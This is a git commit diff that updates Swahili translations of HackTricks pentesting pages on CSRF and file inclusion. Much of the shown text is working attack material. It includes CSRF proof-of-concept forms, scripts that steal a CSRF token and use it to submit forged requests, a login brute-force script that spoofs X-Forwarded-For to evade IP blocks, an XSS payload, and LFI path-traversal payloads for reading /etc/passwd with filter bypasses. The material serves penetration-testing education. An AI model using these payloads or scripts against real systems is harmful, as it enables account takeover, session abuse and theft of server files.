maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-web/file-inclusion/README.md', 'src/pent

Browse Source
This commit is contained in:
Translator 2025-08-26 17:02:04 +00:00
parent 7b99ca0ae0
commit 7c8fdf2e8f
5 changed files with 720 additions and 589 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

187
src/pentesting-web/csrf-cross-site-request-forgery.md
View File

@ -2,85 +2,113 @@
{{#include ../banners/hacktricks-training.md}}
## Maelezo ya Cross-Site Request Forgery (CSRF)
## Cross-Site Request Forgery (CSRF) Explained
**Cross-Site Request Forgery (CSRF)** ni aina ya udhaifu wa usalama unaopatikana katika programu za wavuti. Inawawezesha washambuliaji kufanya vitendo kwa niaba ya watumiaji wasiojua kwa kutumia vikao vyao vilivyothibitishwa. Shambulio linafanyika wakati mtumiaji, ambaye amejiandikisha kwenye jukwaa la mwathirika, anatembelea tovuti mbaya. Tovuti hii kisha inasababisha maombi kwa akaunti ya mwathirika kupitia mbinu kama vile kutekeleza JavaScript, kuwasilisha fomu, au kupakua picha.
**Cross-Site Request Forgery (CSRF)** ni aina ya udhaifu wa usalama inayopatikana katika web applications. Inaruhusu watapeli kufanya vitendo kwa niaba ya watumiaji wasiofahamu kwa kutumia vikao vyao vilivyoidhinishwa. Shambulio hufanyika wakati mtumiaji aliyeingia kwenye jukwaa la mwathirika anapotembelea tovuti yenye madhara. Tovuti hii kisha inaanzisha maombi kwa akaunti ya mwathirika kupitia njia kama kutekeleza JavaScript, kutuma forms, au kupakua images.
### Masharti ya Shambulio la CSRF
### Prerequisites for a CSRF Attack
Ili kutumia udhaifu wa CSRF, masharti kadhaa yanapaswa kutimizwa:
Ili kutumia udhaifu wa CSRF, masharti kadhaa yanapaswa kukidhiwa:
1. **Tambua Kitendo Chenye Thamani**: Mshambuliaji anahitaji kupata kitendo kinachostahili kutumiwa, kama kubadilisha nenosiri la mtumiaji, barua pepe, au kuongeza mamlaka.
2. **Usimamizi wa Kikao**: Kikao cha mtumiaji kinapaswa kusimamiwa pekee kupitia vidakuzi au kichwa cha HTTP Basic Authentication, kwani vichwa vingine haviwezi kubadilishwa kwa kusudi hili.
3. **Ukosefu wa Vigezo Visivyoweza Kutabirika**: Ombi halipaswi kuwa na vigezo visivyoweza kutabirika, kwani vinaweza kuzuia shambulio.
1. **Identify a Valuable Action**: Mshambuliaji anahitaji kupata kitendo chenye thamani ya kuchukuliwa, kama kubadilisha nywila (password) ya mtumiaji, barua pepe (email), au kuongeza privileges.
2. **Session Management**: Kikao cha mtumiaji kinapaswa kusimamiwa tu kupitia cookies au header ya HTTP Basic Authentication, kwani headers nyingine haziwezi kudhibitiwa kwa madhumuni haya.
3. **Absence of Unpredictable Parameters**: Ombi halipaswi kuwa na vigezo visivyo tabirika (unpredictable parameters), kwani vinaweza kuzuia shambulio.
### Ukaguzi wa Haraka
### Quick Check
Unaweza **kukamata ombi katika Burp** na kuangalia ulinzi wa CSRF na kujaribu kutoka kwa kivinjari unaweza kubofya **Nakili kama fetch** na kuangalia ombi:
Unaweza **capture the request in Burp** na kukagua ulinzi wa CSRF; pia kwa kujaribu kutoka kivinjari unaweza kubofya **Copy as fetch** na kukagua ombi:
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Kujilinda Dhidi ya CSRF
### Defending Against CSRF
Mbinu kadhaa zinaweza kutekelezwa ili kujilinda dhidi ya shambulio la CSRF:
Mbinu kadhaa za kujikinga zinaweza kutumika kuzuia mashambulio ya CSRF:
- [**Vidakuzi vya SameSite**](hacking-with-cookies/index.html#samesite): Sifa hii inazuia kivinjari kutuma vidakuzi pamoja na maombi ya tovuti tofauti. [Zaidi kuhusu vidakuzi vya SameSite](hacking-with-cookies/index.html#samesite).
- [**Kushiriki rasilimali za asili tofauti**](cors-bypass.md): Sera ya CORS ya tovuti ya mwathirika inaweza kuathiri uwezekano wa shambulio, hasa ikiwa shambulio linahitaji kusoma jibu kutoka kwa tovuti ya mwathirika. [Jifunze kuhusu CORS bypass](cors-bypass.md).
- **Uthibitisho wa Mtumiaji**: Kuuliza nenosiri la mtumiaji au kutatua captcha kunaweza kuthibitisha nia ya mtumiaji.
- **Kuangalia Vichwa vya Referrer au Origin**: Kuangalia vichwa hivi kunaweza kusaidia kuhakikisha maombi yanatoka kwa vyanzo vinavyotegemewa. Hata hivyo, kuunda URL kwa uangalifu kunaweza kupita ukaguzi usiofaa, kama:
- Kutumia `http://mal.net?orig=http://example.com` (URL inaishia na URL inayotegemewa)
- Kutumia `http://example.com.mal.net` (URL inaanza na URL inayotegemewa)
- **Kubadilisha Majina ya Vigezo**: Kubadilisha majina ya vigezo katika maombi ya POST au GET kunaweza kusaidia kuzuia mashambulizi ya kiotomatiki.
- **Tokens za CSRF**: Kuingiza token ya kipekee ya CSRF katika kila kikao na kuhitaji token hii katika maombi yanayofuata kunaweza kupunguza hatari ya CSRF kwa kiasi kikubwa. Ufanisi wa token unaweza kuimarishwa kwa kutekeleza CORS.
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Sifa hii inazuia kivinjari kutuma cookies pamoja na maombi ya cross-site. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): Sera ya CORS ya tovuti ya mwathirika inaweza kuathiri uwezekano wa shambulio, hasa ikiwa shambulio linahitaji kusoma response kutoka tovuti ya mwathirika. [Learn about CORS bypass](cors-bypass.md).
- **User Verification**: Kuomba nywila ya mtumiaji au kutatua captcha kunaweza kuthibitisha nia ya mtumiaji.
- **Checking Referrer or Origin Headers**: Kuthibitisha headers hizi kunaweza kusaidia kuhakikisha maombi yanatoka kwa vyanzo vinavyoaminika. Hata hivyo, uundaji makini wa URL unaweza kuepuka ukaguzi usiofanywa vizuri, kama vile:
- Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL)
- Using `http://example.com.mal.net` (URL starts with the trusted URL)
- **Modifying Parameter Names**: Kubadilisha majina ya vigezo katika POST au GET requests kunaweza kusaidia kuzuia mashambulizi yaliyopangwa.
- **CSRF Tokens**: Kuingiza token ya CSRF ya kipekee katika kila session na kuhitaji token hii katika maombi ya baadaye kunaweza kupunguza kwa kiasi kikubwa hatari ya CSRF. Ufanisi wa token unaweza kuongezwa kwa kutekeleza CORS.
Kuelewa na kutekeleza ulinzi huu ni muhimu kwa kudumisha usalama na uaminifu wa programu za wavuti.
Kuelewa na kutekeleza kinga hizi ni muhimu kwa kudumisha usalama na uadilifu wa web applications.
## Kupita Ulinzi
## Defences Bypass
### Kutoka POST hadi GET
### From POST to GET (method-conditioned CSRF validation bypass)
Labda fomu unayotaka kutumia inPrepared kupeleka **ombii la POST lenye token ya CSRF lakini**, unapaswa **kuangalia** ikiwa **GET** pia ni **halali** na ikiwa unapoweka ombi la GET **token ya CSRF bado inathibitishwa**.
Baadhi ya applications zinatekeleza uthibitishaji wa CSRF tu kwa POST huku zikiruhusu verbs nyingine bila kuthibitisha. Anti-pattern ya kawaida katika PHP inaonekana kama:
```php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
```
Ikiwa endpoint iliyoko dhaifu inakubali pia vigezo kutoka $_REQUEST, unaweza kuanzisha tena hatua ileile kama ombi la GET na kuondoa kabisa CSRF token. Hii inabadilisha kitendo kilichokengeuzwa kwa POST kuwa kitendo cha GET kinachofanikiwa bila token.
### Ukosefu wa token
Example:
Programu zinaweza kutekeleza mekanismu ya **kuhakiki token** wakati zipo. Hata hivyo, udhaifu unatokea ikiwa uthibitisho unakosekana kabisa wakati token haipo. Washambuliaji wanaweza kutumia hii kwa **kuondoa parameter** inayobeba token, si tu thamani yake. Hii inawawezesha kupita mchakato wa uthibitisho na kufanya shambulio la Cross-Site Request Forgery (CSRF) kwa ufanisi.
- Original POST with token (intended):
### Token ya CSRF haijafungwa kwa kikao cha mtumiaji
```http
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Programu **zisizofunga token za CSRF kwa vikao vya watumiaji** zina hatari kubwa ya **usalama**. Mifumo hii inathibitisha token dhidi ya **hifadhi ya kimataifa** badala ya kuhakikisha kila token inafungwa kwa kikao kinachoanzisha.
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
```
Hapa kuna jinsi washambuliaji wanavyotumia hii:
- Bypass by switching to GET (no token):
1. **Thibitisha** kwa kutumia akaunti yao wenyewe.
2. **Pata token halali ya CSRF** kutoka kwa hifadhi ya kimataifa.
3. **Tumia token hii** katika shambulio la CSRF dhidi ya mwathirika.
```http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
```
Udhaifu huu unawawezesha washambuliaji kufanya maombi yasiyoidhinishwa kwa niaba ya mwathirika, wakitumia **mchakato wa uthibitisho wa token usiofaa** wa programu.
Notes:
- Mfumo huu mara nyingi huonekana pamoja na reflected XSS ambapo majibu hutumwa vibaya kama text/html badala ya application/json.
- Kuunganisha hili na XSS kunapunguza sana vizingiti vya unyonyaji kwa sababu unaweza kuwasilisha kiungo kimoja cha GET kinachosababisha njia ya msimbo iliyo dhaifu na pia kuepuka ukaguzi wa CSRF kabisa.
### Kupita Mbinu
### Lack of token
Ikiwa ombi linatumia "**mbinu**" **isiyo ya kawaida**, angalia ikiwa **kazi ya kubadilisha mbinu** inafanya kazi. Kwa mfano, ikiwa inatumia mbinu ya **PUT** unaweza kujaribu **kutumia mbinu ya POST** na **kutuma**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Programu zinaweza kutekeleza utaratibu wa **thibitisha tokens** wakati zinapokuwepo. Hata hivyo, udhaifu unatokea ikiwa uthibitishaji unarukwa kabisa wakati token haipo. Wadukuzi wanaweza kuchukua fursa ya hili kwa **kuondoa parameter** inayobeba token, si tu thamani yake. Hii inawaruhusu kupita kwenye mchakato wa uthibitishaji na kufanya shambulio la Cross-Site Request Forgery (CSRF) kwa ufanisi.
Hii inaweza pia kufanya kazi kwa kutuma **parameter ya \_method ndani ya ombi la POST** au kutumia **vichwa**:
### CSRF token is not tied to the user session
Programu zinazokosa **kufunga CSRF tokens kwa sessions za watumiaji** zinaonyesha hatari kubwa ya **usalama**. Mifumo hii inathibitisha tokens dhidi ya **global pool** badala ya kuhakikisha kila token imefungwa kwa session iliilochochea.
Hivi ndivyo wadukuzi wanavyofaidika na hili:
1. **Jithibitishie** kwa kutumia akaunti yao.
2. **Pata CSRF token halali** kutoka global pool.
3. **Tumia token hii** katika shambulio la CSRF dhidi ya mhanga.
Udhaifu huu unawawezesha wadukuzi kufanya maombi yasiyoruhusiwa kwa niaba ya mhanga, kwa kuchukua faida ya **utaratibu usiofaa wa uthibitishaji wa token**.
### Method bypass
Ikiwa ombi linatumia "**weird**" **method**, angalia kama **method override functionality** inafanya kazi. Kwa mfano, ikiwa inatumia **PUT** method unaweza kujaribu **kutumia POST** method na **kutuma**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Hii pia inaweza kufanya kazi kwa kutuma **\_method parameter inside the a POST request** au kwa kutumia **headers**:
- _X-HTTP-Method_
- _X-HTTP-Method-Override_
- _X-Method-Override_
### Kupita Uthibitisho wa Kichwa cha Kijadi
### Custom header token bypass
Ikiwa ombi linaongeza **kichwa cha kawaida** chenye **token** kwa ombi kama **mbinu ya ulinzi wa CSRF**, basi:
Ikiwa ombi linaongeza a **custom header** yenye **token** kwenye ombi kama **CSRF protection method**, basi:
- Jaribu ombi bila **Token ya Kijadi na pia kichwa.**
- Jaribu ombi lenye **urefu sawa lakini token tofauti**.
- Jaribu ombi bila **Customized Token and also header.**
- Jaribu ombi kwa **ule ule urefu lakini token tofauti**.
### Token ya CSRF inathibitishwa na cookie
### CSRF token is verified by a cookie
Programu zinaweza kutekeleza ulinzi wa CSRF kwa kuiga token katika cookie na parameter ya ombi au kwa kuweka cookie ya CSRF na kuangalia ikiwa token iliyotumwa kwenye backend inalingana na cookie. Programu inathibitisha maombi kwa kuangalia ikiwa token katika parameter ya ombi inalingana na thamani katika cookie.
Programu zinaweza kutekeleza ulinzi wa CSRF kwa kuiga token katika cookie na pia parameter ya ombi au kwa kuweka CSRF cookie na kuthibitisha kama token iliyotumwa kwa backend inaendana na cookie. Programu inathibitisha maombi kwa kuangalia kama token katika parameter ya ombi inalingana na thamani ya cookie.
Hata hivyo, mbinu hii ina udhaifu kwa mashambulizi ya CSRF ikiwa tovuti ina kasoro zinazomruhusu mshambuliaji kuweka cookie ya CSRF kwenye kivinjari cha mwathirika, kama vile udhaifu wa CRLF. Mshambuliaji anaweza kutumia hii kwa kupakia picha ya udanganyifu inayoweka cookie, ikifuatiwa na kuanzisha shambulio la CSRF.
Hata hivyo, njia hii ni nyeti kwa mashambulizi ya CSRF ikiwa tovuti ina kasoro zinazoruhusu mshambuliaji kuweka CSRF cookie katika kivinjari cha mhanga, kama vile udhaifu wa CRLF. Mshambuliaji anaweza kutumia hili kwa kupakia picha ya udanganyifu inayoweka cookie, ikifuatiwa na kuanzisha shambulio la CSRF.
Hapa kuna mfano wa jinsi shambulio linaweza kuundwa:
Chini ni mfano wa jinsi shambulio linaweza kujengwa:
```html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
@ -103,19 +131,19 @@ onerror="document.forms[0].submit();" />
</html>
```
> [!TIP]
> Kumbuka kwamba ikiwa **csrf token inahusiana na session cookie shambulio hili halitafanya kazi** kwa sababu utahitaji kuweka mwathirika kwenye session yako, na hivyo utakuwa unajishambulia mwenyewe.
> Kumbuka kwamba ikiwa **csrf token is related with the session cookie this attack won't work** kwa sababu utahitaji kumtumia victim session yako, na kwa hivyo utakuwa unamshambulia wewe mwenyewe.
### Mabadiliko ya Aina ya Maudhui
### Mabadiliko ya Content-Type
Kulingana na [**hii**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), ili **kuepuka** maombi ya **preflight** kutumia njia ya **POST** hizi ndizo thamani za Aina ya Maudhui zinazoruhusiwa:
Kwa mujibu wa [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), ili kuepuka **preflight** requests zinapotumia method ya **POST**, haya ni maadili ya Content-Type yaliyoruhusiwa:
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
Hata hivyo, kumbuka kwamba **mantiki ya seva inaweza kutofautiana** kulingana na **Aina ya Maudhui** iliyotumika hivyo unapaswa kujaribu thamani zilizotajwa na nyingine kama **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Hata hivyo, kumbuka kwamba **mantiki ya seva inaweza kutofautiana** kulingana na **Content-Type** inayotumika, hivyo unapaswa kujaribu maadili yaliyotajwa na mengine kama **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Mfano (kutoka [hapa](https://brycec.me/posts/corctf_2021_challenges)) wa kutuma data ya JSON kama text/plain:
Mfano (from [here](https://brycec.me/posts/corctf_2021_challenges)) wa kutuma data ya JSON kama text/plain:
```html
<html>
<body>
@ -134,23 +162,23 @@ form.submit()
</body>
</html>
```
### Kupita Maombi ya Preflight kwa Data ya JSON
### Kuepuka Maombi ya Preflight kwa Data ya JSON
Wakati wa kujaribu kutuma data ya JSON kupitia ombi la POST, kutumia `Content-Type: application/json` katika fomu ya HTML si rahisi moja kwa moja. Vivyo hivyo, kutumia `XMLHttpRequest` kutuma aina hii ya maudhui huanzisha ombi la preflight. Hata hivyo, kuna mikakati ya kuweza kupita kikomo hiki na kuangalia kama seva inashughulikia data ya JSON bila kujali Aina ya Maudhui:
Unapojaribu kutuma data ya JSON kupitia POST request, kutumia `Content-Type: application/json` katika fomu ya HTML siyo moja kwa moja inawezekana. Vivyo hivyo, kutumia `XMLHttpRequest` kutuma aina hii ya maudhui kunaanzisha preflight request. Hata hivyo, kuna mbinu zinazoweza kujaribu kuepuka kikomo hiki na kuangalia kama server inasindika data ya JSON bila kujali Content-Type:
1. **Tumia Aina Mbadala za Maudhui**: Tumia `Content-Type: text/plain` au `Content-Type: application/x-www-form-urlencoded` kwa kuweka `enctype="text/plain"` katika fomu. Njia hii inajaribu kuangalia kama backend inatumia data bila kujali Aina ya Maudhui.
2. **Badilisha Aina ya Maudhui**: Ili kuepuka ombi la preflight huku ukihakikisha seva inatambua maudhui kama JSON, unaweza kutuma data na `Content-Type: text/plain; application/json`. Hii haisababishi ombi la preflight lakini inaweza kushughulikiwa ipasavyo na seva ikiwa imewekwa kukubali `application/json`.
3. **Matumizi ya Faili ya SWF Flash**: Njia isiyo ya kawaida lakini inayowezekana inahusisha kutumia faili ya SWF flash ili kupita vizuizi kama hivi. Kwa ufahamu wa kina wa mbinu hii, rejelea [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
1. **Tumia Aina Mbadala za Content-Type**: Tumia `Content-Type: text/plain` au `Content-Type: application/x-www-form-urlencoded` kwa kuweka `enctype="text/plain"` kwenye fomu. Njia hii inajaribu kama backend inatumia data bila kujali Content-Type.
2. **Badilisha Content Type**: Ili kuepuka preflight request wakati ukihakikisha server inatambua maudhui kama JSON, unaweza kutuma data na `Content-Type: text/plain; application/json`. Hii haitasababisha preflight request lakini inaweza kushughulikiwa ipasavyo na server ikiwa imewekwa kukubali `application/json`.
3. **Matumizi ya faili za SWF Flash**: Njia isiyo ya kawaida lakini inayowezekana inahusisha kutumia faili ya SWF flash kuepuka vikwazo hivi. Kwa ufahamu wa kina wa mbinu hii, rejea [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Kupita Ukaguzi wa Referrer / Origin
### Kuepuka ukaguzi wa Referrer / Origin
**Epuka kichwa cha Referrer**
**Epuka header ya Referer**
Programu zinaweza kuthibitisha kichwa cha 'Referer' tu wakati kiko. Ili kuzuia kivinjari kutuma kichwa hiki, tag hii ya meta ya HTML inaweza kutumika:
Maombi yanaweza kuthibitisha header ya 'Referer' tu pale inapokuwepo. Ili kuzuia browser kutuma header hii, tagu ya meta ya HTML ifuatayo inaweza kutumika:
```xml
<meta name="referrer" content="never">
```
Hii inahakikisha kuwa kichwa cha 'Referer' hakijajumuishwa, huenda ikapita mchakato wa uthibitishaji katika baadhi ya programu.
Hii inahakikisha kuwa 'Referer' header haipo, na hivyo inaweza kupitisha ukaguzi wa uthibitisho katika baadhi ya programu.
**Regexp bypasses**
@ -159,7 +187,7 @@ Hii inahakikisha kuwa kichwa cha 'Referer' hakijajumuishwa, huenda ikapita mchak
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
Ili kuweka jina la kikoa la seva katika URL ambayo Referrer itatuma ndani ya vigezo unaweza kufanya:
Ili kuweka jina la kikoa la server katika URL ambalo Referrer atalituma ndani ya parameta, unaweza kufanya:
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
@ -190,23 +218,23 @@ document.forms[0].submit()
```
### **HEAD method bypass**
Sehemu ya kwanza ya [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) inaelezea kwamba [kanuni ya chanzo ya Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), router imewekwa **kushughulikia maombi ya HEAD kama maombi ya GET** bila mwili wa jibu - suluhisho la kawaida ambalo si la kipekee kwa Oak. Badala ya mpangilio maalum unaoshughulikia maombi ya HEAD, yanatolewa tu **kwa mpangilio wa GET lakini programu inatoa tu mwili wa jibu**.
Sehemu ya kwanza ya [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) inaeleza kwamba [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), router imewekwa ili **handle HEAD requests as GET requests** bila response body - workaround ya kawaida ambayo sio ya Oak pekee. Badala ya handler maalum inayoshughulikia HEAD reqs, zinapelekwa tu kwa **GET handler** lakini app inafuta response body.
Hivyo, ikiwa ombi la GET linapunguzwa, unaweza tu **kutuma ombi la HEAD ambalo litashughulikiwa kama ombi la GET**.
Kwa hiyo, ikiwa GET request inazuiliwa, unaweza tu **send a HEAD request that will be processed as a GET request**.
## **Mifano ya Kutumia**
## **Exploit Examples**
### **Kutoa CSRF Token**
### **Exfiltrating CSRF Token**
Ikiwa **CSRF token** inatumika kama **kinga** unaweza kujaribu **kutoa** kwa kutumia udhaifu wa [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) au udhaifu wa [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
Ikiwa **CSRF token** inatumiwa kama **defence** unaweza kujaribu **exfiltrate it** kwa kutumia udhaifu wa [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) au udhaifu wa [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) vulnerability.
### **GET kwa kutumia vitambulisho vya HTML**
### **GET using HTML tags**
```xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
Mengine ya vitambulisho vya HTML5 ambavyo vinaweza kutumika kutuma ombi la GET kiotomatiki ni:
Tagi nyingine za HTML5 ambazo zinaweza kutumika kutuma ombi la GET moja kwa moja ni:
```html
<iframe src="..."></iframe>
<script src="..."></script>
@ -235,7 +263,7 @@ background: url("...");
</video>
</audio>
```
### Ombi la GET la Fomu
### Ombi la Fomu GET
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
@ -253,7 +281,7 @@ document.forms[0].submit()
</body>
</html>
```
### Ombi la POST la Fomu
### Ombi la POST la fomu
```html
<html>
<body>
@ -304,7 +332,7 @@ document.forms[0].submit()
</body>
</html>
```
### **Ombi la POST la Ajax**
### **Ajax POST request**
```html
<script>
var xh
@ -333,7 +361,7 @@ data: "param=value&param2=value2",
})
</script>
```
### multipart/form-data POST ombi
### multipart/form-data POST request
```javascript
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
@ -346,7 +374,7 @@ headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
```
### multipart/form-data POST request v2
### multipart/form-data POST ombi v2
```javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
@ -374,7 +402,7 @@ body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
```
### Omba la POST kutoka ndani ya iframe
### Ombi la POST la fomu kutoka ndani ya iframe
```html
<--! expl.html -->
@ -398,7 +426,7 @@ document.getElementById("formulario").submit()
</body>
</body>
```
### **Kununua CSRF Token na kutuma ombi la POST**
### **Kuwaiba CSRF Token na tuma POST request**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
@ -445,7 +473,7 @@ var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
```
### **Kununua CSRF Token na kutuma ombi la Post kwa kutumia iframe, fomu na Ajax**
### **Kuiba CSRF Token na kutuma Post request kwa kutumia iframe, form na Ajax**
```html
<form
id="form1"
@ -473,7 +501,7 @@ style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
```
### **Kununua CSRF Token na kutuma ombi la POST kwa kutumia iframe na fomu**
### **Kuiba CSRF Token na kutuma POST request kwa kutumia iframe na form**
```html
<iframe
id="iframe"
@ -506,7 +534,7 @@ document.forms[0].submit.click()
}
</script>
```
### **Iibi token na kuutuma kwa kutumia iframes 2**
### **Kunyang'anya token na kuituma ukitumia 2 iframes**
```html
<script>
var token;
@ -536,7 +564,7 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button>
</form>
```
### **POSTChukua token ya CSRF kwa Ajax na tuma posti kwa fomu**
### **POSTSteal CSRF token kwa Ajax na tuma post kwa form**
```html
<body onload="getData()">
<form
@ -589,7 +617,7 @@ room: username,
```
## CSRF Login Brute Force
Msimbo unaweza kutumika kufanya Brut Force fomu ya kuingia kwa kutumia tokeni ya CSRF (Pia inatumia kichwa X-Forwarded-For kujaribu kupita orodha ya IP iliyozuiwa):
Msimbo unaweza kutumika kufanya Brute Force kwenye fomu ya login kwa kutumia token ya CSRF (Pia inatumia header X-Forwarded-For kujaribu kuipita blacklisting ya IP inayowezekana):
```python
import request
import re
@ -638,13 +666,12 @@ login(USER, line.strip())
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
## Marejeleo
## Marejeo
- [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
​
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../banners/hacktricks-training.md}}

411
src/pentesting-web/file-inclusion/README.md
View File

@ -4,14 +4,14 @@
## File Inclusion
**Remote File Inclusion (RFI):** Faili linawekwa kutoka kwa seva ya mbali (Bora: Unaweza kuandika msimbo na seva itatekeleza). Katika php hii ni **imezuiliwa** kwa default (**allow_url_include**).\
**Local File Inclusion (LFI):** Seva inaweka faili ya ndani.
**Remote File Inclusion (RFI):** Faili inapakuliwa kutoka server ya mbali (Bora: Unaweza kuandika code na server itaitekeleza). Katika PHP hii imezimwa kwa chaguo-msingi (**allow_url_include**).\
**Local File Inclusion (LFI):** Server inapakua faili ya ndani.
Uthibitisho wa udhaifu hutokea wakati mtumiaji anaweza kudhibiti kwa njia fulani faili ambayo itakuwa ikipakiwa na seva.
Udhaifu hutokea wakati mtumiaji anaweza kudhibiti kwa namna fulani faili itakayopakiwa na server.
**PHP functions** zenye udhaifu: require, require_once, include, include_once
**PHP functions** zilizo hatarini: require, require_once, include, include_once
Zana ya kuvutia kutumia kutekeleza udhaifu huu: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
Chombo kizuri cha ku-exploit udhaifu huu: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
```python
@ -19,31 +19,31 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
**Kuchanganya orodha kadhaa za \*nix LFI na kuongeza njia zaidi nimeunda hii:**
**Baada ya kuchanganya orodha kadhaa za \*nix LFI na kuongeza njia zaidi, niliunda hii:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Jaribu pia kubadilisha `/` kwa `\`\
Jaribu pia kuongeza `../../../../../`
Pia jaribu kubadilisha `/` kwa `\`\
Pia jaribu kuongeza `../../../../../`
Orodha inayotumia mbinu kadhaa kupata faili /etc/password (kuangalia kama udhaifu upo) inaweza kupatikana [hapa](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Orodha inayotumia mbinu kadhaa kupata faili /etc/password (ili kukagua kama udhaifu upo) inapatikana [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Mchanganyiko wa orodha tofauti:
Mchanganyiko wa wordlists tofauti:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Jaribu pia kubadilisha `/` kwa `\`\
Jaribu pia kuondoa `C:/` na kuongeza `../../../../../`
Pia jaribu kubadilisha `/` kwa `\`\
Pia jaribu kuondoa `C:/` na kuongeza `../../../../../`
Orodha inayotumia mbinu kadhaa kupata faili /boot.ini (kuangalia kama udhaifu upo) inaweza kupatikana [hapa](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Orodha inayotumia mbinu kadhaa kupata faili /boot.ini (ili kukagua kama udhaifu upo) inapatikana [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
@ -51,11 +51,11 @@ Angalia orodha ya LFI ya linux.
## Msingi wa LFI na bypasses
Mifano yote ni kwa ajili ya Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
Mfano yote ni kwa Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### mfuatano wa kusafiri umeondolewa bila kurudi nyuma
### traversal sequences zimeondolewa bila kutumia recursion
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Pita kuongeza herufi zaidi mwishoni mwa mfuatano uliopewa (pita ya: $\_GET\['param']."php")
Bypass kuongeza herufi zaidi mwishoni mwa string iliyotolewa (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
